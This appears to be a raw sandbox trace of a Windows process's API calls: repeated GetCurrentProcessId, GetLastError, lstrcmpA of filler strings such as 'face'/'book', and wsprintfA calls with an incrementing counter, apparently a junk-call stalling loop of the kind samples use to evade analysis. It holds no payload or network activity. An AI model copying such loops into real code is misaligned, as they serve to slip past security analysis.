0x79c [0123.969] GetCurrentProcessId () returned 0x79c [0123.969] GetCurrentProcessId () returned 0x79c [0123.969] lstrlenA (lpString="just string") returned 11 [0123.969] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.969] GetLastError () returned 0x57 [0123.969] GetCurrentProcess () returned 0xffffffff [0123.969] GetLastError () returned 0x57 [0123.969] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="7DP") returned 3 [0123.969] SetLastError (dwErrCode=0x57) [0123.969] GetCurrentProcessId () returned 0x79c [0123.969] GetLastError () returned 0x57 [0123.969] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="7EP") returned 3 [0123.969] SetLastError (dwErrCode=0x57) [0123.969] GetCurrentProcessId () returned 0x79c [0123.969] GetCurrentProcessId () returned 0x79c [0123.969] GetCurrentProcessId () returned 0x79c [0123.969] GetCurrentProcessId () returned 0x79c [0123.969] lstrlenA (lpString="just string") returned 11 [0123.969] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.969] GetLastError () returned 0x57 [0123.969] GetCurrentProcessId () returned 0x79c [0123.969] GetCurrentProcessId () returned 0x79c [0123.969] lstrlenA (lpString="just string") returned 11 [0123.969] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.969] GetLastError () returned 0x57 [0123.969] GetLastError () returned 0x57 [0123.969] GetLastError () returned 0x57 [0123.969] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0123.969] SetLastError (dwErrCode=0x57) [0123.969] GetCurrentProcess () returned 0xffffffff [0123.969] GetLastError () returned 0x57 [0123.969] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="FEP") returned 3 [0123.969] SetLastError (dwErrCode=0x57) [0123.969] GetCurrentProcessId () returned 0x79c [0123.969] GetCurrentProcess () returned 0xffffffff [0123.970] GetLastError () returned 0x57 [0123.970] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="FFP") returned 3 [0123.970] SetLastError (dwErrCode=0x57) [0123.970] GetCurrentProcessId () returned 0x79c [0123.970] GetLastError () returned 0x57 [0123.970] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="100P") returned 4 [0123.970] SetLastError (dwErrCode=0x57) [0123.970] GetCurrentProcessId () returned 0x79c [0123.970] GetCurrentProcessId () returned 0x79c [0123.970] GetCurrentProcessId () returned 0x79c [0123.970] GetCurrentProcessId () returned 0x79c [0123.970] lstrlenA (lpString="just string") returned 11 [0123.970] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.970] GetLastError () returned 0x57 [0123.970] GetCurrentProcessId () returned 0x79c [0123.970] lstrlenA (lpString="just string") returned 11 [0123.970] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.970] GetLastError () returned 0x57 [0123.970] GetCurrentProcessId () returned 0x79c [0123.970] GetCurrentProcessId () returned 0x79c [0123.970] GetCurrentProcessId () returned 0x79c [0123.970] lstrlenA (lpString="just string") returned 11 [0123.970] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.970] GetLastError () returned 0x57 [0123.970] GetLastError () returned 0x57 [0123.970] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="182P") returned 4 [0123.970] SetLastError (dwErrCode=0x57) [0123.970] GetCurrentProcessId () returned 0x79c [0123.970] GetCurrentProcessId () returned 0x79c [0123.970] GetCurrentProcessId () returned 0x79c [0123.970] GetCurrentProcessId () returned 0x79c [0123.970] lstrlenA (lpString="just string") returned 11 [0123.970] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.970] GetLastError () returned 0x57 [0123.970] lstrlenA (lpString="just string") returned 11 [0123.970] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.970] GetLastError () returned 0x57 [0123.970] GetCurrentProcessId () returned 0x79c [0123.970] GetCurrentProcessId () returned 0x79c [0123.970] lstrlenA (lpString="just string") returned 11 [0123.970] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.970] GetLastError () returned 0x57 [0123.970] GetCurrentProcessId () returned 0x79c [0123.970] GetCurrentProcessId () returned 0x79c [0123.970] lstrlenA (lpString="just string") returned 11 [0123.970] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.970] GetLastError () returned 0x57 [0123.970] GetLastError () returned 0x57 [0123.970] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="22CP") returned 4 [0123.970] SetLastError (dwErrCode=0x57) [0123.970] GetCurrentProcessId () returned 0x79c [0123.970] GetCurrentProcessId () returned 0x79c [0123.970] GetCurrentProcessId () returned 0x79c [0123.970] GetCurrentProcessId () returned 0x79c [0123.970] lstrlenA (lpString="just string") returned 11 [0123.970] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.970] GetLastError () returned 0x57 [0123.970] GetLastError () returned 0x57 [0123.970] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="240P") returned 4 [0123.970] SetLastError (dwErrCode=0x57) [0123.970] GetCurrentProcessId () returned 0x79c [0123.970] GetCurrentProcessId () returned 0x79c [0123.970] GetCurrentProcessId () returned 0x79c [0123.970] GetCurrentProcessId () returned 0x79c [0123.970] lstrlenA (lpString="just string") returned 11 [0123.970] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.970] GetLastError () returned 0x57 [0123.970] GetCurrentProcessId () returned 0x79c [0123.971] GetCurrentProcessId () returned 0x79c [0123.971] lstrlenA (lpString="just string") returned 11 [0123.971] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.971] GetLastError () returned 0x57 [0123.971] GetCurrentProcessId () returned 0x79c [0123.971] GetCurrentProcessId () returned 0x79c [0123.971] lstrlenA (lpString="just string") returned 11 [0123.971] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.971] GetLastError () returned 0x57 [0123.971] GetCurrentProcessId () returned 0x79c [0123.971] GetCurrentProcessId () returned 0x79c [0123.971] GetCurrentProcessId () returned 0x79c [0123.971] lstrlenA (lpString="just string") returned 11 [0123.971] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.971] GetLastError () returned 0x57 [0123.971] GetCurrentProcessId () returned 0x79c [0123.971] GetCurrentProcessId () returned 0x79c [0123.971] lstrlenA (lpString="just string") returned 11 [0123.971] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.971] GetLastError () returned 0x57 [0123.971] GetLastError () returned 0x57 [0123.971] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="2F4P") returned 4 [0123.971] SetLastError (dwErrCode=0x57) [0123.971] GetCurrentProcessId () returned 0x79c [0123.971] GetCurrentProcessId () returned 0x79c [0123.971] GetCurrentProcessId () returned 0x79c [0123.971] GetCurrentProcessId () returned 0x79c [0123.971] lstrlenA (lpString="just string") returned 11 [0123.971] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.971] GetLastError () returned 0x57 [0123.971] GetLastError () returned 0x57 [0123.971] lstrcmpA (lpString1="X|M", lpString2="luck") returned 1 [0123.971] SetLastError (dwErrCode=0x57) [0123.971] GetCurrentProcess () returned 0xffffffff [0123.971] GetLastError () returned 0x57 [0123.971] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="324P") returned 4 [0123.971] SetLastError (dwErrCode=0x57) [0123.971] GetCurrentProcessId () returned 0x79c [0123.971] GetCurrentProcess () returned 0xffffffff [0123.971] GetLastError () returned 0x57 [0123.971] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="325P") returned 4 [0123.971] SetLastError (dwErrCode=0x57) [0123.971] GetCurrentProcessId () returned 0x79c [0123.971] GetLastError () returned 0x57 [0123.971] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="326P") returned 4 [0123.971] SetLastError (dwErrCode=0x57) [0123.971] GetCurrentProcessId () returned 0x79c [0123.971] GetCurrentProcessId () returned 0x79c [0123.971] GetCurrentProcessId () returned 0x79c [0123.971] GetCurrentProcessId () returned 0x79c [0123.971] lstrlenA (lpString="just string") returned 11 [0123.971] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.971] GetLastError () returned 0x57 [0123.971] GetLastError () returned 0x57 [0123.971] lstrcmpA (lpString1="X|M", lpString2="luck") returned 1 [0123.971] SetLastError (dwErrCode=0x57) [0123.971] GetCurrentProcess () returned 0xffffffff [0123.971] GetLastError () returned 0x57 [0123.971] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="338P") returned 4 [0123.971] SetLastError (dwErrCode=0x57) [0123.971] GetCurrentProcessId () returned 0x79c [0123.972] GetCurrentProcess () returned 0xffffffff [0123.972] GetLastError () returned 0x57 [0123.972] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="339P") returned 4 [0123.972] SetLastError (dwErrCode=0x57) [0123.972] GetCurrentProcessId () returned 0x79c [0123.972] GetLastError () returned 0x57 [0123.972] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="33AP") returned 4 [0123.972] SetLastError (dwErrCode=0x57) [0123.972] GetCurrentProcessId () returned 0x79c [0123.972] GetCurrentProcessId () returned 0x79c [0123.972] GetCurrentProcessId () returned 0x79c [0123.972] GetCurrentProcessId () returned 0x79c [0123.972] lstrlenA (lpString="just string") returned 11 [0123.972] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.972] GetLastError () returned 0x57 [0123.972] GetCurrentProcessId () returned 0x79c [0123.972] GetCurrentProcessId () returned 0x79c [0123.972] GetCurrentProcessId () returned 0x79c [0123.972] lstrlenA (lpString="just string") returned 11 [0123.972] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.972] GetLastError () returned 0x57 [0123.972] lstrlenA (lpString="just string") returned 11 [0123.972] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.972] GetLastError () returned 0x57 [0123.972] GetLastError () returned 0x57 [0123.972] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0123.972] SetLastError (dwErrCode=0x57) [0123.972] GetCurrentProcess () returned 0xffffffff [0123.972] GetLastError () returned 0x57 [0123.972] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="40AP") returned 4 [0123.972] SetLastError (dwErrCode=0x57) [0123.972] GetCurrentProcessId () returned 0x79c [0123.972] GetCurrentProcess () returned 0xffffffff [0123.972] GetLastError () returned 0x57 [0123.972] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="40BP") returned 4 [0123.972] SetLastError (dwErrCode=0x57) [0123.972] GetCurrentProcessId () returned 0x79c [0123.972] GetLastError () returned 0x57 [0123.972] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="40CP") returned 4 [0123.972] SetLastError (dwErrCode=0x57) [0123.972] GetCurrentProcessId () returned 0x79c [0123.972] GetCurrentProcessId () returned 0x79c [0123.972] GetCurrentProcessId () returned 0x79c [0123.972] GetCurrentProcessId () returned 0x79c [0123.972] lstrlenA (lpString="just string") returned 11 [0123.972] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.972] GetLastError () returned 0x57 [0123.972] GetCurrentProcessId () returned 0x79c [0123.972] GetCurrentProcessId () returned 0x79c [0123.972] lstrlenA (lpString="just string") returned 11 [0123.972] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.972] GetLastError () returned 0x57 [0123.972] GetCurrentProcessId () returned 0x79c [0123.972] lstrlenA (lpString="just string") returned 11 [0123.972] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.972] GetLastError () returned 0x57 [0123.972] GetCurrentProcessId () returned 0x79c [0123.972] lstrlenA (lpString="just string") returned 11 [0123.972] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.972] GetLastError () returned 0x57 [0123.972] GetLastError () returned 0x57 [0123.972] GetCurrentProcess () returned 0xffffffff [0123.972] GetLastError () returned 0x57 [0123.973] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="4D3P") returned 4 [0123.973] SetLastError (dwErrCode=0x57) [0123.973] GetCurrentProcessId () returned 0x79c [0123.973] GetLastError () returned 0x57 [0123.973] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="4D4P") returned 4 [0123.973] SetLastError (dwErrCode=0x57) [0123.973] GetCurrentProcessId () returned 0x79c [0123.973] GetCurrentProcessId () returned 0x79c [0123.973] GetCurrentProcessId () returned 0x79c [0123.973] GetCurrentProcessId () returned 0x79c [0123.973] lstrlenA (lpString="just string") returned 11 [0123.973] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.973] GetLastError () returned 0x57 [0123.973] GetLastError () returned 0x57 [0123.973] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0123.973] SetLastError (dwErrCode=0x57) [0123.973] GetCurrentProcess () returned 0xffffffff [0123.973] GetLastError () returned 0x57 [0123.973] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="4FAP") returned 4 [0123.973] SetLastError (dwErrCode=0x57) [0123.973] GetCurrentProcessId () returned 0x79c [0123.973] GetCurrentProcess () returned 0xffffffff [0123.973] GetLastError () returned 0x57 [0123.973] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="4FBP") returned 4 [0123.973] SetLastError (dwErrCode=0x57) [0123.973] GetCurrentProcessId () returned 0x79c [0123.973] GetLastError () returned 0x57 [0123.973] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="4FCP") returned 4 [0123.973] SetLastError (dwErrCode=0x57) [0123.973] GetCurrentProcessId () returned 0x79c [0123.973] GetCurrentProcessId () returned 0x79c [0123.973] GetCurrentProcessId () returned 0x79c [0123.973] GetCurrentProcessId () returned 0x79c [0123.973] lstrlenA (lpString="just string") returned 11 [0123.973] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.973] GetLastError () returned 0x57 [0123.973] lstrlenA (lpString="just string") returned 11 [0123.973] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.973] GetLastError () returned 0x57 [0123.973] GetLastError () returned 0x57 [0123.973] GetCurrentProcessId () returned 0x79c [0123.973] lstrlenA (lpString="just string") returned 11 [0123.973] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.973] GetLastError () returned 0x57 [0123.973] GetLastError () returned 0x57 [0123.973] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0123.973] SetLastError (dwErrCode=0x57) [0123.973] GetCurrentProcess () returned 0xffffffff [0123.973] GetLastError () returned 0x57 [0123.973] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="5A4P") returned 4 [0123.973] SetLastError (dwErrCode=0x57) [0123.973] GetCurrentProcessId () returned 0x79c [0123.973] GetCurrentProcess () returned 0xffffffff [0123.973] GetLastError () returned 0x57 [0123.973] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="5A5P") returned 4 [0123.973] SetLastError (dwErrCode=0x57) [0123.973] GetCurrentProcessId () returned 0x79c [0123.973] GetLastError () returned 0x57 [0123.973] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="5A6P") returned 4 [0123.973] SetLastError (dwErrCode=0x57) [0123.973] GetCurrentProcessId () returned 0x79c [0123.973] GetCurrentProcessId () returned 0x79c [0123.973] GetCurrentProcessId () returned 0x79c [0123.974] GetCurrentProcessId () returned 0x79c [0123.974] lstrlenA (lpString="just string") returned 11 [0123.974] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.974] GetLastError () returned 0x57 [0123.974] GetCurrentProcess () returned 0xffffffff [0123.974] GetLastError () returned 0x57 [0123.974] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="613P") returned 4 [0123.974] SetLastError (dwErrCode=0x57) [0123.974] GetCurrentProcessId () returned 0x79c [0123.974] GetLastError () returned 0x57 [0123.974] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="614P") returned 4 [0123.974] SetLastError (dwErrCode=0x57) [0123.974] GetCurrentProcessId () returned 0x79c [0123.974] GetCurrentProcessId () returned 0x79c [0123.974] GetCurrentProcessId () returned 0x79c [0123.974] GetCurrentProcessId () returned 0x79c [0123.974] lstrlenA (lpString="just string") returned 11 [0123.974] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.974] GetLastError () returned 0x57 [0123.974] GetCurrentProcessId () returned 0x79c [0123.974] GetCurrentProcessId () returned 0x79c [0123.974] GetCurrentProcessId () returned 0x79c [0123.974] lstrlenA (lpString="just string") returned 11 [0123.974] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.974] GetLastError () returned 0x57 [0123.974] GetCurrentProcess () returned 0xffffffff [0123.974] GetLastError () returned 0x57 [0123.974] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="631P") returned 4 [0123.974] SetLastError (dwErrCode=0x57) [0123.974] GetCurrentProcessId () returned 0x79c [0123.974] GetLastError () returned 0x57 [0123.974] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="632P") returned 4 [0123.974] SetLastError (dwErrCode=0x57) [0123.974] GetCurrentProcessId () returned 0x79c [0123.974] GetCurrentProcessId () returned 0x79c [0123.974] GetCurrentProcessId () returned 0x79c [0123.974] GetCurrentProcessId () returned 0x79c [0123.974] lstrlenA (lpString="just string") returned 11 [0123.974] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.974] GetLastError () returned 0x57 [0123.974] lstrlenA (lpString="just string") returned 11 [0123.974] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.974] GetLastError () returned 0x57 [0123.974] GetCurrentProcessId () returned 0x79c [0123.974] lstrlenA (lpString="just string") returned 11 [0123.974] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.974] GetLastError () returned 0x57 [0123.974] GetLastError () returned 0x57 [0123.974] GetLastError () returned 0x57 [0123.974] lstrlenA (lpString="just string") returned 11 [0123.974] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.974] GetLastError () returned 0x57 [0123.975] GetCurrentProcessId () returned 0x79c [0123.975] lstrlenA (lpString="just string") returned 11 [0123.975] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.975] GetLastError () returned 0x57 [0123.975] GetCurrentProcess () returned 0xffffffff [0123.975] GetLastError () returned 0x57 [0123.975] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="77BP") returned 4 [0123.975] SetLastError (dwErrCode=0x57) [0123.975] GetCurrentProcessId () returned 0x79c [0123.975] GetLastError () returned 0x57 [0123.975] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="77CP") returned 4 [0123.975] SetLastError (dwErrCode=0x57) [0123.975] GetCurrentProcessId () returned 0x79c [0123.975] GetCurrentProcessId () returned 0x79c [0123.975] GetCurrentProcessId () returned 0x79c [0123.975] GetCurrentProcessId () returned 0x79c [0123.975] lstrlenA (lpString="just string") returned 11 [0123.975] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.975] GetLastError () returned 0x57 [0123.975] GetCurrentProcessId () returned 0x79c [0123.975] GetCurrentProcessId () returned 0x79c [0123.975] lstrlenA (lpString="just string") returned 11 [0123.975] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.975] GetLastError () returned 0x57 [0123.975] lstrlenA (lpString="just string") returned 11 [0123.975] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.975] GetLastError () returned 0x57 [0123.975] GetLastError () returned 0x57 [0123.975] lstrcmpA (lpString1="X|M", lpString2="luck") returned 1 [0123.975] SetLastError (dwErrCode=0x57) [0123.975] GetCurrentProcess () returned 0xffffffff [0123.975] GetLastError () returned 0x57 [0123.975] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="7E8P") returned 4 [0123.975] SetLastError (dwErrCode=0x57) [0123.975] GetCurrentProcessId () returned 0x79c [0123.975] GetCurrentProcess () returned 0xffffffff [0123.975] GetLastError () returned 0x57 [0123.975] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="7E9P") returned 4 [0123.975] SetLastError (dwErrCode=0x57) [0123.975] GetCurrentProcessId () returned 0x79c [0123.975] GetLastError () returned 0x57 [0123.975] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="7EAP") returned 4 [0123.975] SetLastError (dwErrCode=0x57) [0123.975] GetCurrentProcessId () returned 0x79c [0123.975] GetCurrentProcessId () returned 0x79c [0123.975] GetCurrentProcessId () returned 0x79c [0123.975] GetCurrentProcessId () returned 0x79c [0123.975] lstrlenA (lpString="just string") returned 11 [0123.975] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.975] GetLastError () returned 0x57 [0123.975] GetCurrentProcessId () returned 0x79c [0123.975] lstrlenA (lpString="just string") returned 11 [0123.975] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.975] GetLastError () returned 0x57 [0123.975] GetLastError () returned 0x57 [0123.975] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="83AP") returned 4 [0123.975] SetLastError (dwErrCode=0x57) [0123.975] GetCurrentProcessId () returned 0x79c [0123.975] GetCurrentProcessId () returned 0x79c [0123.975] GetCurrentProcessId () returned 0x79c [0123.976] GetCurrentProcessId () returned 0x79c [0123.976] lstrlenA (lpString="just string") returned 11 [0123.976] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.976] GetLastError () returned 0x57 [0123.976] GetLastError () returned 0x57 [0123.976] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="876P") returned 4 [0123.976] SetLastError (dwErrCode=0x57) [0123.976] GetCurrentProcessId () returned 0x79c [0123.976] GetCurrentProcessId () returned 0x79c [0123.976] GetCurrentProcessId () returned 0x79c [0123.976] GetCurrentProcessId () returned 0x79c [0123.976] lstrlenA (lpString="just string") returned 11 [0123.976] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.976] GetLastError () returned 0x57 [0123.976] GetCurrentProcess () returned 0xffffffff [0123.976] GetLastError () returned 0x57 [0123.976] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="8A7P") returned 4 [0123.976] SetLastError (dwErrCode=0x57) [0123.976] GetCurrentProcessId () returned 0x79c [0123.976] GetLastError () returned 0x57 [0123.976] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="8A8P") returned 4 [0123.976] SetLastError (dwErrCode=0x57) [0123.976] GetCurrentProcessId () returned 0x79c [0123.976] GetCurrentProcessId () returned 0x79c [0123.976] GetCurrentProcessId () returned 0x79c [0123.976] GetCurrentProcessId () returned 0x79c [0123.976] lstrlenA (lpString="just string") returned 11 [0123.976] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.976] GetLastError () returned 0x57 [0123.976] GetLastError () returned 0x57 [0123.976] lstrcmpA (lpString1="X|M", lpString2="luck") returned 1 [0123.976] SetLastError (dwErrCode=0x57) [0123.976] GetCurrentProcess () returned 0xffffffff [0123.976] GetLastError () returned 0x57 [0123.976] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="8C4P") returned 4 [0123.976] SetLastError (dwErrCode=0x57) [0123.976] GetCurrentProcessId () returned 0x79c [0123.976] GetCurrentProcess () returned 0xffffffff [0123.976] GetLastError () returned 0x57 [0123.976] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="8C5P") returned 4 [0123.976] SetLastError (dwErrCode=0x57) [0123.976] GetCurrentProcessId () returned 0x79c [0123.976] GetLastError () returned 0x57 [0123.976] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="8C6P") returned 4 [0123.976] SetLastError (dwErrCode=0x57) [0123.976] GetCurrentProcessId () returned 0x79c [0123.976] GetCurrentProcessId () returned 0x79c [0123.976] GetCurrentProcessId () returned 0x79c [0123.976] GetCurrentProcessId () returned 0x79c [0123.976] lstrlenA (lpString="just string") returned 11 [0123.976] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.976] GetLastError () returned 0x57 [0123.976] GetLastError () returned 0x57 [0123.976] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="8E4P") returned 4 [0123.976] SetLastError (dwErrCode=0x57) [0123.976] GetCurrentProcessId () returned 0x79c [0123.976] GetCurrentProcessId () returned 0x79c [0123.976] GetCurrentProcessId () returned 0x79c [0123.976] GetCurrentProcessId () returned 0x79c [0123.976] lstrlenA (lpString="just string") returned 11 [0123.976] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.976] GetLastError () returned 0x57 [0123.976] GetLastError () returned 0x57 [0123.977] lstrcmpA (lpString1="X|M", lpString2="luck") returned 1 [0123.977] SetLastError (dwErrCode=0x57) [0123.977] GetCurrentProcess () returned 0xffffffff [0123.977] GetLastError () returned 0x57 [0123.977] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="8ECP") returned 4 [0123.977] SetLastError (dwErrCode=0x57) [0123.977] GetCurrentProcessId () returned 0x79c [0123.977] GetCurrentProcess () returned 0xffffffff [0123.977] GetLastError () returned 0x57 [0123.977] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="8EDP") returned 4 [0123.977] SetLastError (dwErrCode=0x57) [0123.977] GetCurrentProcessId () returned 0x79c [0123.977] GetLastError () returned 0x57 [0123.977] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="8EEP") returned 4 [0123.977] SetLastError (dwErrCode=0x57) [0123.977] GetCurrentProcessId () returned 0x79c [0123.977] GetCurrentProcessId () returned 0x79c [0123.977] GetCurrentProcessId () returned 0x79c [0123.977] GetCurrentProcessId () returned 0x79c [0123.977] lstrlenA (lpString="just string") returned 11 [0123.977] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.977] GetLastError () returned 0x57 [0123.977] GetCurrentProcessId () returned 0x79c [0123.977] lstrlenA (lpString="just string") returned 11 [0123.977] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.977] GetLastError () returned 0x57 [0123.977] lstrlenA (lpString="just string") returned 11 [0123.977] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.977] GetLastError () returned 0x57 [0123.977] GetCurrentProcessId () returned 0x79c [0123.977] GetCurrentProcessId () returned 0x79c [0123.977] GetCurrentProcessId () returned 0x79c [0123.977] lstrlenA (lpString="just string") returned 11 [0123.977] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.977] GetLastError () returned 0x57 [0123.977] GetCurrentProcessId () returned 0x79c [0123.977] GetCurrentProcessId () returned 0x79c [0123.977] GetCurrentProcessId () returned 0x79c [0123.977] lstrlenA (lpString="just string") returned 11 [0123.977] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.977] GetLastError () returned 0x57 [0123.977] GetCurrentProcessId () returned 0x79c [0123.977] GetCurrentProcessId () returned 0x79c [0123.977] lstrlenA (lpString="just string") returned 11 [0123.977] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.977] GetLastError () returned 0x57 [0123.977] GetCurrentProcessId () returned 0x79c [0123.977] lstrlenA (lpString="just string") returned 11 [0123.977] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.977] GetLastError () returned 0x57 [0123.977] GetLastError () returned 0x57 [0123.977] lstrlenA (lpString="just string") returned 11 [0123.977] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.977] GetLastError () returned 0x57 [0123.977] GetLastError () returned 0x57 [0123.977] lstrcmpA (lpString1="X|M", lpString2="luck") returned 1 [0123.978] SetLastError (dwErrCode=0x57) [0123.978] GetCurrentProcess () returned 0xffffffff [0123.978] GetLastError () returned 0x57 [0123.978] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="9E6P") returned 4 [0123.978] SetLastError (dwErrCode=0x57) [0123.978] GetCurrentProcessId () returned 0x79c [0123.978] GetCurrentProcess () returned 0xffffffff [0123.978] GetLastError () returned 0x57 [0123.978] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="9E7P") returned 4 [0123.978] SetLastError (dwErrCode=0x57) [0123.978] GetCurrentProcessId () returned 0x79c [0123.978] GetLastError () returned 0x57 [0123.978] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="9E8P") returned 4 [0123.978] SetLastError (dwErrCode=0x57) [0123.978] GetCurrentProcessId () returned 0x79c [0123.978] GetCurrentProcessId () returned 0x79c [0123.978] GetCurrentProcessId () returned 0x79c [0123.978] GetCurrentProcessId () returned 0x79c [0123.978] lstrlenA (lpString="just string") returned 11 [0123.978] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.978] GetLastError () returned 0x57 [0123.978] GetLastError () returned 0x57 [0123.978] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0123.978] SetLastError (dwErrCode=0x57) [0123.978] GetCurrentProcess () returned 0xffffffff [0123.978] GetLastError () returned 0x57 [0123.978] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="A22P") returned 4 [0123.978] SetLastError (dwErrCode=0x57) [0123.978] GetCurrentProcessId () returned 0x79c [0123.978] GetCurrentProcess () returned 0xffffffff [0123.978] GetLastError () returned 0x57 [0123.978] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="A23P") returned 4 [0123.978] SetLastError (dwErrCode=0x57) [0123.978] GetCurrentProcessId () returned 0x79c [0123.978] GetLastError () returned 0x57 [0123.978] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="A24P") returned 4 [0123.978] SetLastError (dwErrCode=0x57) [0123.978] GetCurrentProcessId () returned 0x79c [0123.978] GetCurrentProcessId () returned 0x79c [0123.978] GetCurrentProcessId () returned 0x79c [0123.978] GetCurrentProcessId () returned 0x79c [0123.978] lstrlenA (lpString="just string") returned 11 [0123.978] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.978] GetLastError () 